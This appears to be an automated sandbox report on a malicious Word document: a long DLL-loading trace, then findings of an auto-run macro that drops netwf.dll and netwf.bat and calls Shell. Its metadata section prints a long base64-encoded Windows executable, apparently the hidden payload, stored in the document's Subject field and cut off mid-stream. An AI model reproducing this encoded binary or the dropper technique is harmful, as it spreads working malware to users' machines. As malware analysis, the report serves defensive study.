DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: USP10.DLL/ScriptFreeCache
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: MSPTLS.DLL/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: USER32.dll/UnregisterPowerSettingNotification
DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
DynamicLoader: VERSION.dll/GetFileVersionInfoA
DynamicLoader: VERSION.dll/GetFileVersionInfoSizeA
DynamicLoader: VERSION.dll/VerQueryValueA
DynamicLoader: VERSION.dll/GetFileVersionInfoW
DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
DynamicLoader: VERSION.dll/VerQueryValueW
DynamicLoader: DwmApi.DLL/DwmIsCompositionEnabled
DynamicLoader: DwmApi.DLL/DwmGetColorizationColor
DynamicLoader: kernel32.dll/GetProductInfo
DynamicLoader: kernel32.dll/GetUserGeoID
DynamicLoader: msi.dll/DllGetVersion
DynamicLoader: mso.dll/
DynamicLoader: mso.dll/
DynamicLoader: ADVAPI32.dll/UnregisterTraceGuids
DynamicLoader: Comctl32.dll/
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/SetDefaultPrinterW
DynamicLoader: WINSPOOL.DRV/GetDefaultPrinterW
DynamicLoader: WINSPOOL.DRV/GetPrinterDriverPackagePathW
DynamicLoader: WINSPOOL.DRV/CorePrinterDriverInstalledW
DynamicLoader: WINSPOOL.DRV/GetCorePrinterDriversW
DynamicLoader: WINSPOOL.DRV/UploadPrinterDriverPackageW
DynamicLoader: WINSPOOL.DRV/InstallPrinterDriverFromPackageW
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/AddPrinterConnection2W
DynamicLoader: WINSPOOL.DRV/OpenPrinter2W
DynamicLoader: WINSPOOL.DRV/DeletePrinterKeyW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDataExW
DynamicLoader: WINSPOOL.DRV/EnumPrinterKeyW
DynamicLoader: WINSPOOL.DRV/EnumPrinterDataExW
DynamicLoader: WINSPOOL.DRV/GetPrinterDataExW
DynamicLoader: WINSPOOL.DRV/SetPrinterDataExW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDataW
DynamicLoader: WINSPOOL.DRV/EnumPrinterDataW
DynamicLoader: WINSPOOL.DRV/SpoolerPrinterEvent
DynamicLoader: WINSPOOL.DRV/SetPortW
DynamicLoader: WINSPOOL.DRV/DocumentPropertySheets
DynamicLoader: WINSPOOL.DRV/DevicePropertySheets
DynamicLoader: WINSPOOL.DRV/IsValidDevmodeW
DynamicLoader: WINSPOOL.DRV/IsValidDevmodeA
DynamicLoader: WINSPOOL.DRV/AddPortExW
DynamicLoader: WINSPOOL.DRV/DeletePrintProvidorW
DynamicLoader: WINSPOOL.DRV/AddPrintProvidorW
DynamicLoader: WINSPOOL.DRV/DeletePrintProcessorW
DynamicLoader: WINSPOOL.DRV/DeleteMonitorW
DynamicLoader: WINSPOOL.DRV/AddMonitorW
DynamicLoader: WINSPOOL.DRV/StartDocDlgW
DynamicLoader: WINSPOOL.DRV/AdvancedDocumentPropertiesW
DynamicLoader: WINSPOOL.DRV/AdvancedDocumentPropertiesA
DynamicLoader: WINSPOOL.DRV/DocumentPropertiesW
DynamicLoader: WINSPOOL.DRV/DeviceCapabilitiesW
DynamicLoader: WINSPOOL.DRV/DeletePrinterIC
DynamicLoader: WINSPOOL.DRV/PlayGdiScriptOnPrinterIC
DynamicLoader: WINSPOOL.DRV/CreatePrinterIC
DynamicLoader: WINSPOOL.DRV/SetJobW
DynamicLoader: WINSPOOL.DRV/GetJobW
DynamicLoader: WINSPOOL.DRV/EnumJobsW
DynamicLoader: WINSPOOL.DRV/AddPrinterW
DynamicLoader: WINSPOOL.DRV/SetPrinterW
DynamicLoader: WINSPOOL.DRV/GetPrinterDriverW
DynamicLoader: WINSPOOL.DRV/GetPrinterDriverDirectoryW
DynamicLoader: WINSPOOL.DRV/EnumPrintersW
DynamicLoader: WINSPOOL.DRV/AddPrinterConnectionW
DynamicLoader: WINSPOOL.DRV/DeletePrinterConnectionW
DynamicLoader: WINSPOOL.DRV/AddPrinterDriverExW
DynamicLoader: WINSPOOL.DRV/AddPrinterDriverExA
DynamicLoader: WINSPOOL.DRV/EnumPrinterDriversW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDriverW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDriverExW
DynamicLoader: WINSPOOL.DRV/AddPrintProcessorW
DynamicLoader: WINSPOOL.DRV/EnumPrintProcessorsW
DynamicLoader: WINSPOOL.DRV/GetPrintProcessorDirectoryW
DynamicLoader: WINSPOOL.DRV/EnumPrintProcessorDatatypesW
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/SplDriverUnloadComplete
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/OpenPrinterW
DynamicLoader: WINSPOOL.DRV/OpenPrinterA
DynamicLoader: WINSPOOL.DRV/ResetPrinterW
DynamicLoader: WINSPOOL.DRV/StartDocPrinterW
DynamicLoader: WINSPOOL.DRV/FlushPrinter
DynamicLoader: WINSPOOL.DRV/GetPrinterDataW
DynamicLoader: WINSPOOL.DRV/SetPrinterDataW
DynamicLoader: WINSPOOL.DRV/AddJobW
DynamicLoader: WINSPOOL.DRV/ScheduleJob
DynamicLoader: WINSPOOL.DRV/WaitForPrinterChange
DynamicLoader: WINSPOOL.DRV/FindNextPrinterChangeNotification
DynamicLoader: WINSPOOL.DRV/PrinterMessageBoxW
DynamicLoader: WINSPOOL.DRV/ClosePrinter
DynamicLoader: WINSPOOL.DRV/AddFormW
DynamicLoader: WINSPOOL.DRV/DeleteFormW
DynamicLoader: WINSPOOL.DRV/GetFormW
DynamicLoader: WINSPOOL.DRV/SetFormW
DynamicLoader: WINSPOOL.DRV/EnumFormsW
DynamicLoader: WINSPOOL.DRV/EnumPortsW
DynamicLoader: WINSPOOL.DRV/EnumMonitorsW
DynamicLoader: WINSPOOL.DRV/AddPortW
DynamicLoader: WINSPOOL.DRV/ConfigurePortW
DynamicLoader: WINSPOOL.DRV/DeletePortW
DynamicLoader: WINSPOOL.DRV/GetPrinterW
DynamicLoader: WINSPOOL.DRV/DeletePrinterDriverPackageW
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: GDI32.dll/GdiPrinterThunk
DynamicLoader: RpcRtRemote.dll/I_RpcExtInitializeExtensionPoint
DynamicLoader: secur32.dll/InitSecurityInterfaceW
DynamicLoader: cryptsp.dll/SystemFunction035
DynamicLoader: WINSPOOL.DRV/DocumentPropertySheets
DynamicLoader: RPCRT4.dll/NdrClientCall3
DynamicLoader: RPCRT4.dll/RpcStringBindingComposeW
DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingW
DynamicLoader: RPCRT4.dll/RpcBindingSetAuthInfoExW
DynamicLoader: sechost.dll/LookupAccountNameLocalW
DynamicLoader: RPCRT4.dll/RpcStringFreeW
DynamicLoader: RPCRT4.dll/RpcBindingFree
DynamicLoader: unidrvui.dll/DrvResetConfigCache
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: WINSPOOL.DRV/DocumentPropertySheets
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: WINSPOOL.DRV/StartDocDlgW
DynamicLoader: WINSPOOL.DRV/OpenPrinterW
DynamicLoader: WINSPOOL.DRV/ResetPrinterW
DynamicLoader: WINSPOOL.DRV/ClosePrinter
DynamicLoader: WINSPOOL.DRV/GetPrinterW
DynamicLoader: WINSPOOL.DRV/GetPrinterDriverW
DynamicLoader: WINSPOOL.DRV/EndDocPrinter
DynamicLoader: WINSPOOL.DRV/EndPagePrinter
DynamicLoader: WINSPOOL.DRV/ReadPrinter
DynamicLoader: WINSPOOL.DRV/StartDocPrinterW
DynamicLoader: WINSPOOL.DRV/StartPagePrinter
DynamicLoader: WINSPOOL.DRV/AbortPrinter
DynamicLoader: WINSPOOL.DRV/DocumentEvent
DynamicLoader: WINSPOOL.DRV/QuerySpoolMode
DynamicLoader: WINSPOOL.DRV/QueryRemoteFonts
DynamicLoader: WINSPOOL.DRV/SeekPrinter
DynamicLoader: WINSPOOL.DRV/QueryColorProfile
DynamicLoader: WINSPOOL.DRV/SplDriverUnloadComplete
DynamicLoader: WINSPOOL.DRV/DocumentPropertiesW
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: WINSPOOL.DRV/IsValidDevmodeW
DynamicLoader: WINSPOOL.DRV/GetSpoolFileHandle
DynamicLoader: WINSPOOL.DRV/CommitSpoolData
DynamicLoader: WINSPOOL.DRV/CloseSpoolFileHandle
DynamicLoader: WINSPOOL.DRV/
DynamicLoader: unidrvui.dll/DrvDocumentEvent
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentEvent
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: mxdwdrv.dll/DrvEnableDriver
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: FontSub.dll/CreateFontPackage
DynamicLoader: unidrvui.dll/MxdcGetPDEVAdjustment
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: WINSPOOL.DRV/DocumentPropertySheets
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: WINSPOOL.DRV/DocumentPropertySheets
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentEvent
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentEvent
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: FontSub.dll/CreateFontPackage
DynamicLoader: unidrvui.dll/MxdcGetPDEVAdjustment
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: WINSPOOL.DRV/DocumentPropertySheets
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: WINSPOOL.DRV/DocumentPropertySheets
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentEvent
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentEvent
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: FontSub.dll/CreateFontPackage
DynamicLoader: unidrvui.dll/MxdcGetPDEVAdjustment
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: WINSPOOL.DRV/DocumentPropertySheets
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: WINSPOOL.DRV/DocumentPropertySheets
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
DynamicLoader: SendToOneNoteUI.DLL/DllGetClassObject
DynamicLoader: SendToOneNoteUI.DLL/DllCanUnloadNow
The office file contains a macro
The office file contains a macro with auto execution
AutoOpen: Runs when the Word document is opened
The office file contains anomalous features
creation_anomaly: The file appears to have an edit time yet has no creation time or last saved time. This can be a sign of an automated document creation kit.
Creates a hidden or system file
file: C:\Users\user\AppData\Local\Temp\~$NFfP8FMSDGQ.doc
The office file contains a macro with potential indicators of compromise
Executable file name: PathPld = Environ(LOCALAPPDATA)\netwf.dll
Executable file name: PathPldBt = Environ(LOCALAPPDATA)\netwf.bat
The office file contains a macro with suspicious strings
Kill: May delete a file
Open: May open a file
Shell: May run an executable file or a system command
run: May run an executable file or a system command
Binary: May read or write a binary file (if combined with Open)
Environ: May read system environment variables
Write: May write to a file (if combined with Open)
Put: May write to a file (if combined with Open)

Screenshots


Hosts

No hosts contacted.

DNS

No domains contacted.


Summary

SummaryInformation Metadata

Creating Application Microsoft Office Word
Author Rafael Moon
Last Saved By Nick Daemoji
Creation Time None
Last Saved Time None
Total Edit Time 9960
Document Title
Document Subject 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